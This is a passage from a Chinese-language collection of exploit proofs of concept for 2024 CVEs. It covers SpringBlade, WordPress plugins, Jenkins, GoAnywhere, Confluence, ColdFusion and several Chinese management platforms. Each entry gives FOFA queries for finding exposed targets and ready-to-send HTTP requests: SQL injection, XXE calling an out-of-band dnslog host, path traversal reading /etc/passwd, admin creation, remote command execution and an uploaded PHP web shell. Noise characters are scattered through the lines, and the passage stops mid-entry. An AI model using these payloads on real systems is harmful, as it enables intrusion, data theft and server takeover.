1 F+ F' u5 a, `& j/ j* SUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
( \; i7 S& x7 B- ~6 T$ _Connection: close
: ^" c4 S3 R4 A, c( Z8 o0 tContent-Length: 204
Content-Type: application/x-www-form-urlencoded
1 W+ j: q8 [' R& |' W: x2 cAccept-Encoding: gzip

SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==


其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>


104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
FOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
& M2 j) W0 N6 i/ l/ ^Host:192.168.0.1
Content-Length:41
8 T& z5 q  r2 b9 m5 L( R; F2 R6 }Accept:application/json,text/javascript，*/*;q=0.01
9 t" G. g0 x; f' I# {$ P  J3 ^X-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
$ |* _5 X4 m; {. D; q( M5 R' wReferer: http://192.168.0.1/advance/index.html?time=1671152380564
, E2 X3 j  v; P) J- PAccept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
+ F+ y* y. @( b' Z4 v' n: d* p0 rConnection:close
) o. x/ _% i7 b6 f2 n
{
( m8 a# B) _: d" m"topicurl":"getSysStatusCfg",
; j9 o- {/ f! V8 V& f"token":""
" }- c  V  W6 n' P6 L3 X}
( w9 v& ~3 p* ]6 `
105. SpringBlade v3.2.0 export-user SQL 注入
/ t5 V, X3 E6 i" T+ cFOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
$ X7 [' J& a& ~+ L* A
9 H/ \& p7 a% |, L4 M- L% O! Q106. SpringBlade dict-biz/list SQL 注入
" W* w8 _4 b! O2 h9 V  ?' {, TFOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
% Q6 V, j$ ?# t, X6 r. u  o: zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
% E; h  E8 o" b+ h$ r% bBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
1 J/ c( p- d7 y6 o. n( @  m' _/ BAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
7 s' R3 k; j6 f. G9 i& tConnection: close

$ J8 b" U1 ^0 ?' z! V; Q
107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
. V4 o6 h# x$ x& K* A% d9 y4 yGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
- f9 y% P7 A: R- NHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
6 B4 g  E5 L% w$ A+ gBlade-Auth:替换为自己的
Connection: close
: Y' N4 z8 U+ Z5 r

108. D-Tale 3.9.0 SSRF
/ A, ?3 ^2 r! F2 F0 YCVE-2024-21642
+ C- ?! y9 Z/ A0 S$ A- C. m7 Z3 QFOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
7 m3 N( `, Y! JAccept: application/json, text/plain, */*
: n, x& c: _7 T. [7 B0 E5 ~; nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
  q: V/ y& O4 jConnection: close
; }& {- L8 ^$ O2 S' M5 j: j* ^
5 R8 N0 x! C- Z9 l
* u4 W% u' T4 T  {# ]109. Jenkins CLI 任意文件读取
. U4 N! G7 ?5 S7 L1 I; x- T( w4 H* t# LCVE-2024-23897
/ j; \) L. j7 H9 ]0 [1 a3 kFOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
Host:
$ \* A  K" W- s' i$ ^" }Content-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
; d2 n9 Z+ r2 Q: b; r4 a2 ?, z7 JSide: upload
. ^" l: O7 w; P6 ^- u! RConnection: keep-alive
" ?; Z+ e4 `6 LContent-Length: 163

b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
% h$ B; i, G8 P: @4 K0 i$ i

POST /cli?remoting=false HTTP/1.1
Host:
& G# C& p# x* q/ R  |5 nSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
Content-Type: application/x-www-form-urlencoded
  E* B% J7 b0 @$ j7 P  N; }4 UContent-Length: 0
( N) ^! R0 R4 j

+ _% ^5 ~& P* EERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
) K  Y  T) ~& v% T# _/ b1 ojava -jar jenkins-cli.jar help
[COMMAND]
2 U5 g6 I& l6 f9 h; S( HLists all the available commands or a detailed description of single command.
$ e: q/ a5 J: U+ V COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)


9 y. r9 C8 p9 F: h110. Goanywhere MFT 未授权创建管理员
, @  [5 h7 l7 j- f) YCVE-2024-0204
' r% D: H' {3 j# i/ z9 Q( HFOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
- d- t* I2 }, }, R' HGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
$ v% E. L2 J8 u' p- W) ^Host: 192.168.40.130:8000
' C9 N5 S1 l6 B/ QUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
. x# j; `! I( k) o9 E, [9 k7 zAccept: */*
Accept-Language: en
Accept-Encoding: gzip


( C, b. R* ~1 k+ G111. WordPress Plugin HTML5 Video Player SQL注入
' F: [2 U* h: ~2 KCVE-2024-1061
" T) t' Q! A7 a9 M: ^: @9 nFOFA："wordpress" && body="html5-video-player"
: m' ?, p  y: |7 ~6 yGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
$ T0 L2 B4 O9 f2 E' [Host: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
8 h5 U+ Q' h' q4 z; _5 N5 L7 aConnection: close
Accept: */*
  L$ d5 D) s  [: _2 C8 q( AAccept-Language: en
) \: h# e+ V5 G) o& lAccept-Encoding: gzip


112. WordPress Plugin NotificationX SQL 注入
( q" d6 d  I2 c" mCVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
% @' U" J  L& Q- t  k7 V* y" S& i/ yHost: {{Hostname}}
Content-Type: application/json
3 v$ J( w$ F; h+ m8 W/ Y3 V
- F' o9 Y1 \  P% _$ u5 L. p& |7 }{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}


- h# K  W1 J( \- B2 a. r) ?9 u113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
, }. m4 E' G6 M1 `# Y1 M& {8 o" n* MFOFA："/wp-content/plugins/wp-automatic"
0 e- `( e& e) q  X8 vGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
: V; ^: M( ]1 U" mUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
1 U; _0 h& T, m4 p, I" W, {, lConnection: close
Accept: */*
( y. q; g- w, K! P9 iAccept-Language: en
Accept-Encoding: gzip
9 s3 P) p2 N$ m2 N+ V- i4 v

114. WordPress MasterStudy LMS插件 SQL注入
0 i2 C" S6 t2 n2 l9 B  J5 gFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
0 z( T, s" D$ ~$ I( Z6 IHost: your-ip
* a+ P( }# m, SUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
2 C  f, U; Y' f' fAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
) E( k, X; s) N8 w1 xConnection: close
* y: \0 y4 _6 Q3 S+ s

115. WordPress Bricks Builder <= 1.9.6 RCE
: {: @& O+ _1 D! kCVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
3 U" J+ R' ~; j. TGET / HTTP/1.1
3 _8 h- s! S  U' K& L7 AHost: x.x.x.x
1 X5 U! x; x! {User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
3 v# J3 ^+ T# a1 Z  W7 o% qAccept-Encoding: gzip
7 n& W3 {+ J* b% S

第二步替换nonce值，执行命令
' P4 ^# d/ U0 t4 R; G  CPOST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
0 I' ~! Z$ ]7 v6 l# p% SConnection: close
Content-Length: 356
0 o. U/ n4 y2 ^7 u: ^, a+ |Content-Type: application/json
+ _0 m. M/ [, z  `) `: b9 @Accept-Encoding: gzip

( Y% y! X7 }! z! w% V{
"postId": "1",
  r" w7 g9 V0 S9 n; C  "nonce": "第一步获得的值",
4 r0 V$ F* \3 e1 B( T5 Q7 U0 V  "element": {
    "name": "container",
7 @2 f* F" c) n7 V    "settings": {
* t# h* t; `9 Y$ A. `1 a2 j  l. @      "hasLoop": "true",
5 N, n, U6 Z' ^9 l# w  W      "query": {
# L" L9 I0 ~  Z" k( T2 n& k        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
& R2 y* \/ {# R/ R6 A7 }) i) V      }
    }
& j! v5 I) r/ F3 w, b  }
  [7 s" ?+ M4 W/ _+ X. K" V" n}


116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
3 q2 T8 T- F/ y) FPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
0 r& {7 y: J  X7 c( YHost:
Content-Type: multipart/form-data; boundary=--------767099171
2 Z- g" `+ a. x  }4 |# X4 r7 E' cUser-Agent: Mozilla/5.0

+ b3 V) Z8 {( A" k----------767099171
Content-Disposition: form-data; name="action"
configuration_saveconfiguration
----------767099171
Content-Disposition: form-data; name="form_request"
jssupportticket
----------767099171
& k3 Q8 ~7 X: G$ VContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
4 t( V9 m- D, e2 yContent-Type: image/png
! H3 k1 i* R. `( w* \3 q& }----------767099171--


117. WordPress LayerSlider插件SQL注入
0 D  D( E; e9 m4 h: n7 ~version：7.9.11 – 7.10.0
; j& B/ g6 i" Q" q/ yFOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
. L1 }* [% w% O2 `% k0 SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! r5 ]3 ~4 J) g% I1 a9 o& SAccept-Encoding: gzip, deflate, br
9 i9 C& ~+ ^% o0 N0 F# e( J' GConnection: close
4 `0 B1 `. n$ I8 S! R, \* c! CUpgrade-Insecure-Requests: 1

( J2 c2 }9 g, g' d
" L3 N/ K' b. C: i118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
FOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
. i4 a9 q0 h2 {! W2 d- pCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
6 Q( y* Z  [. n2 y! v. cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
# O6 `& I% \7 ?3 R) T& wAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 f1 `$ }  ]* {: [. T$ QAccept-Encoding: gzip, deflate
' W( y& k8 p1 g9 c8 {" i- _/ \9 kContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
" o1 a6 B# u2 ^; L% i* pContent-Length: 405
- I3 S  D* c7 v: {+ SOrigin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
/ a, w, X' q- S9 L8 ZSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
9 N4 M/ D5 @6 ?- H- W# Z, pSec-Fetch-Site: same-origin
1 E* r5 l# T% u3 l9 lSec-Fetch-User: ?1
' X/ @) l  y, p3 ETe: trailers
Connection: close

-----------------------------13979701222747646634037182887
3 L# O' a% H2 W) z! MContent-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream
2 e( i0 q5 F2 U1 E# v! A
<?php
system($_POST["passwd"]);
?>
+ |' _3 G* K, i4 F2 s! q, _$ U-----------------------------13979701222747646634037182887
9 |' k9 s3 s; ^/ a+ pContent-Disposition: form-data; name="txt_path"

- I  L% }# D( v8 t) |0 s/home/src.php
-----------------------------13979701222747646634037182887--
4 \3 b: G  O5 x' p6 N4 [

访问/home/src.php

% i0 r9 ^3 P# |- M119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
- I$ x1 ?( E" U- _% BFOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
5 X: O3 R' d6 j- B5 x- `POST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
' Y# p- C% k9 H/ FAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
Origin: https://58.18.133.60:8443
5 H4 l3 a* B2 S% E) iReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
# Z$ V! E- S3 f) L1 z4 n* o: USec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
+ g: Z8 g/ `& c: Q# \1 G* t: f* `$ fX-Forwarded-For: 1.1.1.1
; @- x5 M- o3 @$ m* f  G. }8 A) ZX-Originating-Ip: 1.1.1.1
$ ~- e5 F" s9 a  M& yX-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
Te: trailers
0 _0 P  X" M) d4 E; Q9 O( W! mConnection: close
8 W& R' l, s( J/ C( p+ D9 ~% ?
; m- D! @7 r' o3 s+ Hsrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
$ o7 E9 [- G0 b4 q
' ^8 Y: z  M6 x
120. 北京百绰智能S40管理平台导入web.php任意文件上传
7 L/ j9 i# t9 V2 s8 tCVE-2024-1253
! I3 ~& a* |% n6 P7 ]& [) IFOFA：title="Smart管理平台"
+ Y+ H; W% e& }POST /useratte/web.php? HTTP/1.1
3 l" _3 L4 _, C; l: cHost: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
6 t/ G6 P) p% \3 v- {6 R2 [* LUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
, t$ k2 p: d5 W) C6 CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
3 C1 V6 O; g4 I6 s2 i' C( yContent-Length: 597
  l" c6 d- e" ]) @Origin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
" ^) s# E5 }: q- i, b0 ySec-Fetch-Dest: document
3 R& a3 e0 T/ z0 @: ~3 [Sec-Fetch-Mode: navigate
: }- W3 a( A+ q/ V, rSec-Fetch-Site: same-origin
! X# e7 o, v4 m  r) O; Y, vSec-Fetch-User: ?1
Te: trailers
Connection: close
5 A3 v: F7 L( V: f( |- D
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream

" ]1 q/ I1 T* V# E<?php phpinfo()?>
0 F/ X5 g/ a0 o/ f-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

1
9 G1 L3 ~, c/ ~' @; ~; s9 Z-----------------------------42328904123665875270630079328
" i# T# w( G! M/ tContent-Disposition: form-data; name="1_ck"
% T2 z) a: t0 O8 j( v
4 _! ]9 l* n+ x/ Y1_radhttp
2 r9 [4 F( e7 n6 R/ y7 f& }  F9 N2 H-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"
$ Q* V. x9 F: v6 X
import
" L2 B; ?# Z. K8 p9 A7 `. P" l5 r; c-----------------------------42328904123665875270630079328

& c7 k* N$ g# K4 p5 U
/ f  \2 K! R9 c  H  Z' N6 A6 l* h文件路径/upload/2.php

121. 北京百绰智能S42管理平台userattestation.php任意文件上传
- n) p' F" v4 t1 ^+ B" _CVE-2024-1918
6 m3 m% ?. x6 }3 FFOFA：title="Smart管理平台"
& E/ ^( }' }7 `9 [; L9 Y/ PPOST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
3 M- U7 T, W1 R& X8 _4 g, A# sCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
6 B" P! P; d9 t. H' `7 T" _. dUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
: J0 t8 _. m* f, F7 g/ Y, o- DAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
5 @1 d0 s' E6 {7 x0 D+ I, X! e8 ?$ GContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
- S/ F, W1 F# EOrigin: https://192.168.40.130:8443
1 c; z* c( Q( i6 D0 m" W% \Upgrade-Insecure-Requests: 1
  S$ O& f# u/ i0 R2 I! }3 B, VSec-Fetch-Dest: document
% i* L* ^  i* E4 I, oSec-Fetch-Mode: navigate
& a% M% V6 t' P/ x; m0 @# t- ]* RSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

0 F5 j1 D# N( \* m  r-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
! }5 A* Z2 \  e$ g9 P! z! E1 cContent-Type: application/octet-stream

; W. X( _2 C; c* X+ K# \4 Z8 l<?php phpinfo();?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
) R% u& j5 u. C0 U, J
$ Q: Y/ @) \3 Z1 t4 R6 S) }! W5 U/ O8 t1
-----------------------------42328904123665875270630079328
! y4 v" V/ P8 @) P; EContent-Disposition: form-data; name="1_ck"

1_radhttp
-----------------------------42328904123665875270630079328
3 F8 L5 @3 a& BContent-Disposition: form-data; name="hidwel"

set
+ {) S, r% z. n4 a6 Z-----------------------------42328904123665875270630079328


8 d9 L" s# T# i" C8 J  J# Rboot/web/upload/weblogo/1.php

122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
4 h% W4 _) j& q, t, WGET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
4 Z% D! h( a! OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
. \) F8 T. x5 G5 N4 d' {2 o9 wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: U% N8 B' ~, b2 F1 w+ sAccept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
" ]: x* p: n+ q. a4 eSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
3 n9 b$ s1 M; d6 |. W4 e$ oSec-Fetch-User: ?1
Te: trailers
9 K( ^0 F7 E. q+ DConnection: close


! A1 t# E. J# o" I* f123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
! k; q4 ?: Z! d" ~( k! Y1 nPOST /template/aui/text-inline.vm HTTP/1.1
4 F* x# K, ?0 o3 }* wHost: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
- U2 d& `# s4 G; _5 ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded

: W8 O% n5 g0 z( V, {* y4 q1 alabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

' {7 N5 G$ M& M  a2 [
124. 湖南建研工程质量检测系统任意文件上传
8 n3 Y& d% G7 q+ V8 \. t) pFOFA：body="/Content/Theme/Standard/webSite/login.css"
! z4 W5 Q4 s2 F: ?POST /Scripts/admintool?type=updatefile HTTP/1.1
, v1 l! j, W) p$ J6 JHost: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
/ K  Z5 d; f9 @, Q: x) CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded

filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>


http://192.168.40.130:8282/Scripts/abcgcg.aspx

, y! k' M: l4 M125. ConnectWise ScreenConnect身份验证绕过
& U, g$ V* v0 ~+ q, d% \CVE-2024-1709
FOFA：icon_hash="-82958153"
+ b. f4 I. a' `$ G2 f1 _4 v- T9 D9 Xhttps://github.com/watchtowrlabs ... bypass-add-user-poc
5 @1 A. ?6 x8 ]2 b; D; C
- i( ?* ?( g8 M$ e7 R
  N1 A$ C7 r8 ?7 ]. V) H, [使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
" u- x, `2 |' C' o$ {
' v6 l# |6 ]- n( l
# j: v! b7 X5 d8 Z创建好用户后直接登录后台，可以执行系统命令。

126. Aiohttp 路径遍历
2 y. C- C% e# R7 \+ s4 UFOFA：title=="ComfyUI"
( B) J+ h( S' O4 l* i, B) d2 AGET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
) K- Y9 C# c9 U' l8 V, }Connection: close
Accept: */*
  g- ?7 K# w$ vAccept-Language: en
Accept-Encoding: gzip
9 P$ I6 Y& v- I1 R
2 P- c6 {7 e4 q7 X# M
127. 广联达Linkworks DataExchange.ashx XXE
# t" c% T5 J: ]FOFA：body="Services/Identification/login.ashx"
5 O0 H% v# @3 I6 XPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
' c  V/ A5 T0 ?. J5 B% KHost: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
2 r- u7 W& i& J" e8 h0 VContent-Length: 415
+ ~+ C  D+ w; c* ~& ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
3 @0 _( u" O0 }* TConnection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
Sec-Purpose: prefetch;prerender
' C+ E' }  }( x1 y* F
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"
+ n* g$ {" l4 q  D; z! ]8 {
( |/ O  e& d) _: n" `+ W* |0 hBIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
. A' G7 d% K3 q  A# e  ?4 }, ~; OContent-Disposition: form-data;name="Params"
Content-Type: text/plain
" W% e1 l$ ^8 s9 s0 \1 j7 t
0 R4 c4 Z/ o6 _+ B<?xml version="1.0" encoding="UTF-8"?>
) S* v0 y* h  X2 t<!DOCTYPE test [
' k1 W  i2 _( m5 N<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
>
<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--

/ Z) ^& O5 ]( ^- X8 C2 Z1 r; ?
( _3 i/ C; N: D2 W5 ]# s- n
128. Adobe ColdFusion 反序列化
" J; |; q7 O( \& o% r* gCVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
# U9 A4 G  T/ ?% B& MFOFA：app="Adobe-ColdFusion"
PAYLOAD

3 I0 h: T: s3 l+ B129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
